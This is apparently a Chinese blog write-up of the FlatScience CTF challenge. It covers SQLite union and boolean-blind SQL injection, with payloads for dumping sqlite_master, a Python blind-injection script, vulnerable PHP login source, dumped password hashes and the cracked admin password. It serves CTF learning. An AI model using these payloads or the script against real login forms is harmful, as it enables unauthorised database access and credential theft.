zoukankan      html  css  js  c++  java
  • FlatScience

    FlatScience

    知识点

    SQLite注入

    SQLite数据库只有它本身一个数据库,有一个sqlite_master隐藏表,里面存放我们建表的记录

    有个重要的点值得注意,SQLite 是不区分大小写的,但也有一些命令是大小写敏感的,比如 GLOB和 glob 在 SQLite 的语句中有不同的含义。

    注释符:-- 或者 /**/或者#

    payload:

    爆表

    1' union select 1,name from sqlite_master where type='table' order by name--

    爆建表记录

    1' union select name,sql from sqlite_master--

    爆具体字段

    1' union select 11,[column_name] from [table_name] limit 0,1

    注:通过limit来进行位移,爆出所有数据

    也可以通过group_concat

    1' union select 11,group_concat([column_name]) from [table_name] --

    错误姿势

    进去题目,所有页面都访问一下,发现全是pdf文件,然后我们是试着用dirsearch扫一下。

    返回了 login.php , admin.php ,robots.txt

    我们访问robots.txt,提示的是login.php和admin.php

    然后再访问admin.php,右键看源码,没有提示,sqlmap扫一下,没有sql注入点。

    再访问login.php,右键看下源码,没有提示(实际上没看到),并且sqlmap扫一下,有sql注入点。

    然后再根据sqlmap提示,这是个SQLite3的数据库,并且注入类型是bool盲注。然后我就在网上查询了SQLite3的注入方式,写了个脚本

    import requests
    
    import sys
    
    url='http://220.249.52.133:50481/login.php'
    #sql="admin' and substr((select group_concat(name) from Users limit 0,1),{0},1)='{1}' --"
    #sql="admin' and substr((select group_concat(id) from Users limit 0,1),{0},1)='{1}' --"
    #sql="admin' and substr((select group_concat(password) from Users limit 0,1),{0},1)='{1}' --"
    #sql="admin' and substr((select group_concat(hint) from Users limit 0,1),{0},1)='{1}' --"
    sql="admin' and substr((select sql from sqlite_master limit 0,1),{0},1)='{1}' --"
    headers={
    "Host": "220.249.52.133:38783",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/x-www-form-urlencoded",
    "Content-Length": "143",
    "Origin": "http://220.249.52.133:38783",
    "Connection": "close",
    "Referer": "http://220.249.52.133:38783/login.php",
    "Cookie": "PHPSESSID=f16c520bbc0d80681718cdb839ea6d04",
    "Upgrade-Insecure-Requests": "1"
    }
    flag=''
    for i in range(1,150):
    	print('guess',str(i))
    	for ch in range(32,128):
    
    		sqli=sql.format(i,chr(ch))
    		data={"usr":sqli,"pw":"12345"}
    		response=requests.post(url,data=data,headers=headers).text
    
    		if (len(response)==1023):
    			flag+=chr(ch)
    			print(flag)
    			break
    
    

    虽然最后跑出来了数据库具体内容但是时间非常久,不划算。在写脚本中忘记加headers头,搞了很久。。

    跑出来了之后在!https://www.somd5.com/解密一下admin对应的md5,ThinJerboaSalz!

    然后去admin.php登录,死活密码错误。无奈看了wp

    正确姿势

    原来我没有看见login.php页面处源码的提示

    构造?debug=111

    回显源码

    <?php
    if(isset($_POST['usr']) && isset($_POST['pw'])){
            $user = $_POST['usr'];
            $pass = $_POST['pw'];
    
            $db = new SQLite3('../fancy.db');
            
            $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
        if($res){
            $row = $res->fetchArray();
        }
        else{
            echo "<br>Some Error occourred!";
        }
    
        if(isset($row['id'])){
                setcookie('name',' '.$row['name'], time() + 60, '/');
                header("Location: /");
                die();
        }
    
    }
    
    if(isset($_GET['debug']))
    highlight_file('login.php');
    ?> 
    

    根据源码,我们发现后台数据库是SQLite3,并且未对两个参数进行过滤,存在注入,而且注入回显点在第二个位置,并且回显在cookie里

    我们抓包进行注入

    构造

    1' union select name,sql from sqlite_master limit 0,1 --

    回显CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

    我们知道了有Users表,里面列名是id,name,password,hint

    构造

    1' union select 11,group_concat(id) from Users --

    回显1,2,3

    构造

    1' union select 11,group_concat(name) from Users --

    回显admin,fritze,hansi

    构造

    1' union select 11,group_concat(password) from Users --

    回显3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd

    构造

    1' union select 11,group_concat(hint) from Users --

    回显

    my fav word in my fav paper?!,my love is…?,the password is password;

    我们用admin对应的md5值去进行解密

    得到了ThinJerboaSalz!

    然后再根据后代源码

    $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

    得到$pass=ThinJerboa

    进行登录,拿到flag

    网上有大佬用python脚本进行破解的,python太菜了,着实看不懂,也写不出。。。。

  • 相关阅读:
    【POJ 3162】 Walking Race (树形DP-求树上最长路径问题,+单调队列)
    【POJ 2152】 Fire (树形DP)
    【POJ 1741】 Tree (树的点分治)
    【POJ 2486】 Apple Tree (树形DP)
    【HDU 3810】 Magina (01背包,优先队列优化,并查集)
    【SGU 390】Tickets (数位DP)
    【SPOJ 2319】 BIGSEQ
    【SPOJ 1182】 SORTBIT
    【HDU 5456】 Matches Puzzle Game (数位DP)
    【HDU 3652】 B-number (数位DP)
  • 原文地址:https://www.cnblogs.com/NineOne/p/13916716.html
Copyright © 2011-2022 走看看